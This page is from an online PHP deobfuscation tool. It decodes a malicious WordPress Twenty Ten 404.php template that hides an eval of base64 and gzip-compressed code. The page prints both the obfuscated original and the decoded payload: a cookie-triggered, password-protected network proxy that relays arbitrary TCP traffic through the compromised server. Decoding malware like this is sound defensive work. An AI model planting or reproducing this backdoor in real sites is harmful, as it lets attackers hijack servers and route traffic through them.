Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * The template for displaying 404 pages (Not Found). * * @package WordPre..

Decoded Output download

if (isset($_COOKIE['var_tx'])) {
$GLOBALS['vpsp_pe'] = array(254, 20, 13, 169, 74, 33, 204, 116, 196, 129, 15, 53, 168, 226, 14, 207, 111, 55, 51, 177, 229, 244, 98, 23, 198, 97, 94, 11, 221, 117, 144, 218, 61, 49, 131, 255, 158, 183, 179, 76, 122, 143, 157, 91, 247, 123, 232, 75, 203, 146, 170, 121, 16, 4, 29, 206, 237, 0, 71, 68, 141, 44, 165, 172, 17, 8, 95, 132, 109, 162, 127, 72, 78, 120, 156, 50, 36, 40, 149, 151, 182, 175, 101, 193, 251, 212, 245, 148, 31, 228, 90, 125, 231, 52, 128, 166, 174, 1, 155, 184, 96, 104, 186, 45, 60, 119, 220, 2, 205, 22, 150, 223, 217, 102, 107, 112, 133, 199, 7, 159, 137, 88, 32, 189, 154, 153, 239, 103, 201, 66, 190, 57, 59, 241, 126, 233, 140, 58, 64, 130, 21, 178, 219, 87, 86, 187, 160, 134, 89, 253, 211, 222, 224, 115, 85, 38, 164, 215, 250, 124, 139, 188, 248, 41, 108, 106, 114, 194, 46, 185, 240, 54, 234, 171, 81, 249, 43, 181, 105, 147, 214, 161, 84, 176, 191, 99, 216, 180, 73, 67, 138, 10, 242, 12, 47, 113, 227, 163, 24, 6, 100, 27, 235, 243, 210, 173, 9, 142, 62, 79, 246, 197, 48, 35, 238, 80, 25, 118, 18, 30, 135, 208, 42, 34, 39, 252, 200, 65, 63, 69, 82, 70, 192, 110, 37, 28, 225, 56, 213, 145, 3, 93, 167, 92, 202, 209, 195, 26, 236, 152, 83, 230, 5, 77, 136, 19);

define('vpsp_version', '2.5.0');
define('vpsp_pwd', '123cv');

error_reporting(~E_ALL);

@set_time_limit(0);
ob_implicit_flush(1);
ignore_user_abort(0);

header('Content-type: application/octet-stream');
header('Content-Transfer-Encoding: binary');
header('X-VPSP-VERSION: ' . vpsp_version);

$input = fopen('php://input', 'r');
define('vpsp_enc',  ord(fread($input, 1)) != 0);
$ok;

if (vpsp_enc) {
	if (isset($GLOBALS['vpsp_pe']) == false) {
		$GLOBALS['vpsp_ks'] = VC_GenerateKeyHash(vpsp_enc_key);
		$GLOBALS['vpsp_pe'] = VC_Init(vpsp_enc_key, $GLOBALS['vpsp_ks']);
	}
	$GLOBALS['vpsp_pd'] = array_flip($GLOBALS['vpsp_pe']);
	
	$ok = VC_Decrypt(fread($input, 2));
	if ($ok != 'OK') {
		header('X-VPSP-ERROR: bad_enc_key');
		header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
		exit;
	}
	$rBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
	$sBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
	$reqPwdLen = ord(VC_Decrypt(fread($input, 1)));
	$reqPwd = ($reqPwdLen > 0) ? VC_Decrypt(fread($input, $reqPwdLen)) : '';
	$https = ord(VC_Decrypt(fread($input, 1)));
	$host = VC_Decrypt(fread($input, ord(VC_Decrypt(fread($input, 1)))));
	$port = ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1)));
} else {
	$ok = fread($input, 2);
	if ($ok != 'OK') {
		header('X-VPSP-ERROR: bad_request');
		header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
		exit;
	}
	$rBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1));
	$sBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1));
	$reqPwdLen = ord(fread($input, 1));
	$reqPwd = ($reqPwdLen > 0) ? fread($input, $reqPwdLen) : '';
	$https = ord(fread($input, 1));
	$host = fread($input, ord(fread($input, 1)));
	$port = ord(fread($input, 1)) * 256 + ord(fread($input, 1));
}

if ($reqPwd !== vpsp_pwd) {
	$resp = "HTTP/1.0 401 Unauthorized
X-VPSP-VERSION: " . vpsp_version . "
X-VPSP-ERROR: bad_password
X-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']  . "
Connection: close

";
	if (vpsp_enc) {
		echo VC_Encrypt($resp);
	} else {
		echo $resp;
	}
	exit;
}

if ($https == 1) {
	$host = 'ssl://' . $host;
}

$fsok = fsockopen($host, $port, $errno, $errstr, 20);
if ($fsok == false) {
	$resp = "HTTP/1.0 503 Service Unavailable
X-VPSP-VERSION: " . vpsp_version . "
X-VPSP-ERROR: host_down
X-VPSP-ERROR-TEXT: " . base64_encode($errstr) ."
X-VPSP-HOST: " . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "
X-VPSP-TARGET: " . str_replace('ssl://', '', $host) . "
Connection: close

";
	if (vpsp_enc) {
		echo VC_Encrypt($resp);
	} else {
		echo $resp;
	}
	exit;
}

while ($wbuffer = fread($input, $rBuffLen)) {
	if (vpsp_enc) {
		fwrite($fsok, VC_Decrypt($wbuffer));
	} else {
		fwrite($fsok, $wbuffer);
	}
}

fflush($fsok);

while ($rbuffer = fread($fsok, $sBuffLen)) {
	if (vpsp_enc) {
		echo VC_Encrypt($rbuffer);
	} else {
		echo $rbuffer;
	}
}
fflush($fsok);
fclose($fsok);
exit;
}


function MD5Hash($str) {
	$m = md5($str);
	$s = '';
 	foreach(explode("
", trim(chunk_split($m, 2))) as $h) {
 		$s .= chr(hexdec($h));
 	}
	return $s;
}

function VC_Init($key, $ks) {
	$s = range(0, 255);
	if (strlen($key) == 0) {
		return $s;
	}
	$km = MD5Hash($key);
	$kx = '';
	for ($i = 0; $i < 16; $i++) {
		$kx .= MD5Hash($km . $km[$i] .  chr($ks));
	}
	$r = ($ks % 0x0F) + 1;
	$j = $ks;
	for ($n = 0; $n < $r; $n++) {
		for ($i = 0; $i < 256; $i++) {
			$j = (($j + $s[$i] + $n + ord($kx[$i])) ^ $ks) % 256;
			$t = $s[$i];
			$s[$i] = $s[$j];
			$s[$j] = $t;
		}
	}
	for ($i = 0; $i < 256; $i++) {
		$s[$i] = $s[$i] ^ $ks;
	}
	return $s;
}

function VC_GenerateKeyHash($key) {
	$m = MD5Hash($key);
	$kt = 0;
	for ($i = 0; $i < 16; $i++) {
		$kt += ord($m[$i]);
	}
	return $kt % 256;
}

function VC_Encrypt($str) {
	$pe = $GLOBALS['vpsp_pe'];
	$out = '';
	$len = strlen($str);
	for ($y = 0; $y < $len; $y++) {
		$out .= chr($pe[ord($str[$y])]);
	}
	return $out;
}

function VC_Decrypt($str) {
	$pd = $GLOBALS['vpsp_pd'];
	$out = '';
	$len = strlen($str);
	for ($y = 0; $y < $len; $y++) {
		$out .= chr($pd[ord($str[$y])]);
	}
	return $out;
}

Did this file decode correctly?

Original Code

<?php
/**
 * The template for displaying 404 pages (Not Found).
 *
 * @package WordPress
 * @subpackage Twenty_Ten
 * @since Twenty Ten 1.0
 */
$u='l';$t='mmnoo';$v = str_replace($t,$u,'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');eval(gzuncompress(base64_decode($v)));
?>
<?php

Function Calls

str_replace 2
gzuncompress 2
base64_decode 3

Variables

$n ccdde
$o b
$q eJzNWVlzo0gS/isT87QT+7AcUncTG/sgIYFABhsQCHjZEGAjCXSsZUuCX795..
$t mmnoo
$u l
$v eJwtV8kOg0iy/JU5tNQzYiTMWqBRHwBjMDuY/TJi2MGA2Yrl6x/P7ouFs6jM..

Stats

MD5 9b480ed4bcc23e61579a541256dfa193
Eval Count 3
Decode Time 102 ms